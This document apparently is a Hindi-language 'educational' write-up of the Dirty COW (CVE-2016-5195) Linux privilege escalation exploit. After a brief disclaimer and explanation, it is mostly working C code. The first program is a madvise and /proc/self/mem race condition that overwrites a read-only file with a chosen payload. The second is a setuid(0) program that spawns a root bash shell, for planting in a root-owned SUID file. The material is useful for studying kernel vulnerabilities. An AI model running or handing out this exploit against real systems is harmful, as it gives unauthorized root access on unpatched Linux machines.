
शैक्षिक कार्यान्वयन Dirty COW (CVE-2016-5195) विशेषाधिकार वृद्धि शोषण का, जिसमें रेस कंडीशन पेलोड और Linux सिस्टम के लिए SUID-आधारित रूट शेल वृद्धि शामिल है।
रिकॉर्ड केवल सीखने के उद्देश्य से है, अवैध उपयोग निषिद्ध है
इस कमजोरी का सिद्धांत समवर्ती रूप से गंदे पृष्ठों (dirty pages) को लिखकर मूल रूप से केवल-पढ़ने (read-only) अनुमति वाली फ़ाइल की सामग्री को बदलने पर आधारित है
यदि संशोधित फ़ाइल root के स्वामित्व में है और उसमें SUID अनुमति है, तो इसका उपयोग विशेषाधिकार वृद्धि (privilege escalation) के लिए किया जा सकता है
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// फ़ाइल से पढ़े गए Payload की सामग्री और आकार संग्रहीत करने के लिए
char *payload_buf;
size_t payload_size;
// थ्रेड B: कर्नेल को उस मेमोरी पेज को छोड़ने के लिए बार-बार madvise कॉल करता है
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] madvise थ्रेड समाप्त\n");
return NULL;
}
// थ्रेड A: /proc/self/mem के माध्यम से केवल-पढ़ने वाले मैपिंग क्षेत्र में बार-बार डेटा लिखता है
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// मेमोरी में Payload बफर लिखें
c += write(f, payload_buf, payload_size);
}
printf("[-] /proc/self/mem थ्रेड समाप्त\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("उपयोग: %s <केवल-पढ़ने वाली लक्ष्य फ़ाइल> <Payload इनपुट फ़ाइल>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Payload फ़ाइल खोलें और उसकी सामग्री मेमोरी में पढ़ें
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Payload फ़ाइल खोलने में विफल");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Payload फ़ाइल खाली है\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Payload फ़ाइल पढ़ने में विफल");
return 1;
}
close(pf);
printf("[*] Payload फ़ाइल सफलतापूर्वक लोड की गई: %s (आकार: %zu बाइट्स)\n", payload_file, payload_size);
// लक्ष्य फ़ाइल को मैप करें
f = open(name, O_RDONLY);
if (f < 0) {
perror("लक्ष्य फ़ाइल खोलने में विफल");
return 1;
}
fstat(f, &st);
// Payload की लंबाई लक्ष्य फ़ाइल की लंबाई से अधिक होने से रोकें
if (payload_size > st.st_size) {
printf("[!] चेतावनी: Payload आकार (%zu) लक्ष्य फ़ाइल आकार (%zu) से बड़ा है।\n", payload_size, st.st_size);
printf("[!] Dirty COW की इन-प्लेस ओवरराइट विशेषता के अनुसार, लक्ष्य फ़ाइल आकार से अधिक का हिस्सा फ़ाइल सिस्टम द्वारा काट दिया जाएगा!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] लक्ष्य फ़ाइल मैपिंग पता: %p\n", map);
// रेस कंडीशन शुरू करें
pthread_t pth1, pth2;
printf("[*] रेस कंडीशन (Race Condition) शुरू हो रही है...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] रेस समाप्त, कृपया %s की सामग्री जांचें।\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// root पहचान पुनर्स्थापित करें
setuid(0);
setgid(0);
// root bash खोलें
execl("/bin/bash", "bash", NULL);
return 0;
}